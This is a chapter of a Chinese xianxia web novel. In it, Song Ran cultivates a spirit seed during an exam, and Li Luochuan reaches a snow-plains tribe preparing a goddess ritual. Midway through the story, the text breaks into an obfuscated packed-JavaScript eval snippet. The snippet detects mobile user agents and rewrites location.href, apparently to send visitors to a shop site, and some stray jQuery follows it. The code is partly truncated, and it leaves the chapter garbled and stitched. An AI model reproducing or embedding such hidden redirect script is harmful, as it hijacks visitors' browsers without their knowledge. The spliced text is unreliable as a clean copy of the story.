72. 队友行踪
作品:《我怎么会是仙界刺头?》 “啾。”
一只木质的鸟从天边飞来,落在竹屋的门前,将今日的食物和水放置在竹台上,又扑扇着翅膀飞走了。
宋苒揉着蒙眬的睡眼,打开门习以为常地把食物拿进来。
灵米饭、红烧火烈虎肉块、炝炒紫晶草、清炖肉汤还有几颗甜甜的天玉络果和一大壶太一灵泉水。每天的吃食都这么丰盛,是很好啦。
“唉。”宋苒叹了口气,同以往一样先把灵珏摸出来,发现还是用不了后才失望地收起来。
距离她被传到这块方寸地方,已经过了十天。
这里的一天与仙界不同,没有日升月落也没有白天黑夜之分,头顶是一片白蒙蒙的迷雾,四周是虚无。
除了药田和竹屋,她哪里都去不了,木质小鸟每来送一次饭食,就代表着过了一天。
可在她的神识里,这里的一天大概只有外界两个时辰。
她既担忧队友,又担忧自己。
宋苒把饭食就在竹屋内,把长发好好地绑起,再把仙衣宽大的袖子也绑好,才迈着沉重的步伐走进药田。
她可不是在玩,这是考核!在她进入这里后不久,天空忽然传来一声巨响,一道流光划破苍穹降落到药田里。
宋苒试探着靠近,就发现药田里多了颗种子,手指碰碰它,就漂浮出来一大串的文字,正是本场考核的规则。
规则特别长,简单来说就是她要将种子培育出来,培育出一株灵花。
种子的头顶上还飘着一根空白的长条,前端写着:生长值;尾端标注着:0/100。与第二场考核的傀儡很相似,宋苒百分百确定,这绝对是太初真君的手笔!
所谓的生长值很难获得,每过一天会自动增长一点。
宋苒叹着气,任劳任怨地翻动着土地,拔草、浇水、施肥,一连串的事情做下来,把种子伺候舒服了,它就愿意施舍般地再往上蹦一点。
“让我看看还有什么能加生长值。”等忙活完这堆杂事,小半个时辰的时间就没了,宋苒干脆直接坐在药田边上,点在虚空中上下翻动规则。
“夸赞灵植、讲笑话、讲故事、赞美灵植……”她越翻越绝望。
十天,整整十天,这枚种子的生长值只有二十点!除了每天会给的以外,就只有忙死忙活地每天额外一点。
她也试着变着法子地夸赞、赞美它了啊,可它就是高冷地不理会,太可恶了。至于笑话故事,更是充耳不闻,不管怎么样反正就是咬死了不加一点生长值。
可除了这些,偏偏还没有其他方式能增长。
“都怪李洛川!”宋苒狠狠地把手中的布块扔在地上,“老是说自己在下界过得多么精彩纷呈,连一点生长值都不加!你的故事分明一文不值!”
宋苒使劲地揉了揉鼻子,决定今天换个故事。
“咳咳。”她清了清嗓子,“从前,有个剑修女仙,她要去参加仙考。那是她第一次参加仙考,却没想到刚到的时候就遇到两个男仙在门口把自己拦了下来……”
说得口干舌燥,才将莫云破第一次仙考发生的事说了一小半,宋苒打开太一灵泉水的水壶,润了润嗓子。习惯性地瞅了眼种子的生长值,却惊喜地发现涨了。
真的增长了!
从二十点一下子涨到了二十七点,她才说了半个时辰,居然就涨了七点。
开心得她恨不得莫云破立刻出现在自己面前,那她一定要大大地亲云破一口才行。
“有戏,太有戏了。我宋苒终于不用在这里待上五十天了,好耶——”
她还没高兴多久,就感受到一股不同寻常的气息。
白茫茫的迷雾天空,居然横七竖八地划过道道流光,这可是先前几日从未见过的。眼见着,眼见着,一道流光忽而从天际落下,直直地瞄准着她的药田。
“轰。”
那道流光是一道仙术攻击,直到它砸在药田里,流光散去后,宋苒才发觉到。
然后就在她眼睁睁之下,种子的生长值从二十七点急速后缩,直到缩至八点时才停下来。
宋苒眼前一黑,差点晕倒在药田边。
什么情况?怎么就一下子往后退了十九点生长值……
在她头晕目眩时,考核规则主动显露出来,漂浮在半空中,与先前不同的是这次的规则又新添了长长的一段。
是对之前规则的进一步补充版,其中赫然有六个大字标在最前面——攻击获取规则。
-
“阿啾!”
李洛川走着走着忽然打了个喷嚏,差点撞进前面的雪堆里。
与他同行的男子关切地扶住他,“恩人,你没事吧?我们部落就在前面不远了,让巫帮您看看吧。”
他连忙摆手,直说自己没事。心下暗想,肯定是莫云破或者宋苒在背后蛐蛐自己,十有八九的事。
“你们部落这么远,你还一个人出来捕猎也太不安全了,怎么没跟同伴一起呢。”李洛川挠着脑袋,随口问问。
男子遮遮捂捂不愿多说,他也就没多问。
虽说他方才在林子里救了这人,但也多亏了这人自己才有了方向,即将还能见到雪原的部落首领。
此时距离他被踹下大荒泽进入考核地,已经是第二天了。
第一天,他跟三个队友反而跟三四十个其他仙考生传到了一处。先是发现灵珏用不了了,再是有人发现他们全是“丙”字号,才明白过来这次考核按照甲乙丙丁把他们通通分开了。
所以才只有他一人来到了这片雪原,茫茫无际的雪原,入目所见之处全是白色,看久了眼睛还会发痛。
“在这里也没用,还是先打探清楚吧,没准队友被分开传送到别的地方了。”
有个人的话说在了大家的心坎上,于是彼此还算相熟的仙考生们,自觉临时组队为伴一起向深处行去。
李洛川还未察觉到,就被别的仙考生纷纷避开落下了。
大家知道他很厉害,可更知道他鲁莽、冒进、没脑子、不听别人的话一意孤行,还爱惹麻烦……种种劣迹斑斑。
除了比他更离谱更刺头的莫云破外,谁也管不了他,索性也没人想跟他同行。
“算了,反正我也打算自己走。”李洛川在附近打转了一圈再回来,就发现其他人全都离开了。
他也不在意,随意选了个方向就走了。不知不觉就拐进了林子里,眼前全是白茫茫,越走越分不清东南西北,总觉得往哪走都一模一样。
李洛川自我打趣,莫不是被叶令行附体了。
然后就是在林子里遇到了,被雪兽追着跑的土著部落男子。出手救人后,男子大呼他一定是罕见的外族人,非要报答救命之恩,带他回部落。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068430|194757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我们这很少回来外族人的,不过每次有外族人来,我们就知道该举行神女祭祀了。”男子爽朗又热心,知道他了解不多,就跟他解释了一番神女对他们有多重要、多庇护云云。
“祭祀?”李洛川来了兴趣。
在下界时,他晋入元婴期不久就出宗门游历,结果遇见了海上灵风暴被卷了进入,再醒来就是在某个从未听过的落后部落。
在那里发现了大机缘不说,还结识了部落的神女祭司,听她说了许多相关的事情。
没想到今日还能有派上用场的地方,赚了啊。
男子叹息一声,“是啊,因为某些原因,神女雕像只会在有外族人出现时才会显露。所以每次祭祀都是雪原所有部落的大事,很庄重的,光是祭品就很难弄到。”
他想了想还是跟李洛川说了实话,“其实我独自出来就是想要狩猎雪兽,锻炼自己的,为了能够在祭祀期间猎杀异兽,准备祭品!
异兽很难杀死,有时候甚至整个部落都无法猎杀一头异兽……听首领说,以往都是外族人帮助我们猎杀的嘿嘿,也怪我们太弱了。”
李洛川都听明白了,看来这个神女祭祀是专门为他们准备的。考核的内容大概就是,猎杀异兽获得祭品,然后祭祀。
“那之前的那些外族人都离开了吗?”他追问。
想问问清楚到底是完成祭祀就好,还是要在完成之上再离开雪原。
李洛川暗自在心里点点头,这么看来他的聪明才智已经不亚于叶令行了,能想到这么多。
男子讶异地看着他,那双无瑕的黑色眼睛盯着他看,“当然了,那些外族人都不在了。听说祭祀完成后,神女雕像座下会出现一条神秘通道,只有外族人能通过,我们若是触碰了就会被绞得尸骨无存。”
男子打了个寒战,瑟瑟发抖。
两人同行着,有人带路李洛川落得轻松,也不觉得走得无聊了。边听着男子介绍边赶路,没多会儿就到了他口中所说的部落。
他们部落沿着一条裹挟着薄冰的小河流,聚居在两侧。房屋多是用木头、石块、草料和兽皮搭建而成的,粗犷原始却也别有一番风味。
河流有不少人聚在一起,浣洗衣物、搓麻绳、鞣制皮毛、雕刻编织……许多男男女女都坐在屋外、河边,忙忙碌碌着。
看到男子回来后,立刻有人高声呼喊他的名字,问他去了哪里有没有受伤之类的。
男子也会热情地回应。
“阿嬢,首领在不在,我遇到外族人了!外族人来了,终于!”
然后李洛川就发现几乎所有人都放下了手里的东西,围了过来,看将他左看右看上看下看了好一番后,才各个眼含热泪欢天喜地地感念上苍。
他们全都面向远处群山的方向,双手合十紧闭着双眼,虔诚地祷告、拜首。
李洛川也跟着看去,随后惊讶地发现,先前明明什么都没有的,可这次却不一样了。
远山的顶端,似乎有一座雕像矗立在那里。看不清雕像面容,却能看见它真的存在。
“噗通。”
极轻微的声响,李洛川捕捉到了,连忙左右环顾探寻,却什么都没有发现。只好觉得大概是自己听错了……
“首领来了!”
不知道谁喊了一嗓子,部落的首领被惊动了出来,直冲着李洛川的方向而来。

